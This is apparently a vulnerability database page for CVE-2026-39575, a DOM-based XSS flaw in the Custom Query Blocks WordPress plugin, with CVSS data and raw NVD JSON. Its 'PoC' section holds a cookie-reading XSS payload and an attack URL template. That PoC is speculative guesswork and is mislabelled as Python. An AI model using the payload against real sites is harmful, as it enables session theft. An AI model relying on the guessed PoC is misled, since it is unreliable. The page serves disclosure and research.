Security Vulnerability Report
中文
CVE-2026-39575 CVSS 6.5 MEDIUM

CVE-2026-39575

Published: 2026-04-08 09:16:29
Last Modified: 2026-04-24 18:07:25

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ronald Huereca Custom Query Blocks post-type-archive-mapping allows DOM-Based XSS.This issue affects Custom Query Blocks: from n/a through <= 5.5.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom Query Blocks <= 5.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-39575 (DOM-Based XSS) Target: Custom Query Blocks Plugin <= 5.5.0 --> <script> // Proof of Concept // 1. Identify the vulnerable parameter in the plugin (e.g., 'mapping' or 'post_type') // 2. Craft a malicious URL containing the payload. // Example Payload: var payload = '"><img src=x onerror=alert(document.cookie)>'; // The vulnerable endpoint typically involves the plugin's archive mapping settings. // Attacker sends the following link to the victim: // http://victims-site.com/wp-admin/admin.php?page=custom-query-blocks&mapping=[ENCODED_PAYLOAD] // When the page loads, the vulnerable JS code might look like: // document.getElementById('archive-map').innerHTML = getUrlParam('mapping'); // This results in the alert firing, demonstrating XSS. console.log('Payload: ' + payload); alert('If this alert appears, the site is vulnerable to CVE-2026-39575'); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39575", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:28.637", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ronald Huereca Custom Query Blocks post-type-archive-mapping allows DOM-Based XSS.This issue affects Custom Query Blocks: from n/a through <= 5.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-type-archive-mapping/vulnerability/wordpress-custom-query-blocks-plugin-5-5-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}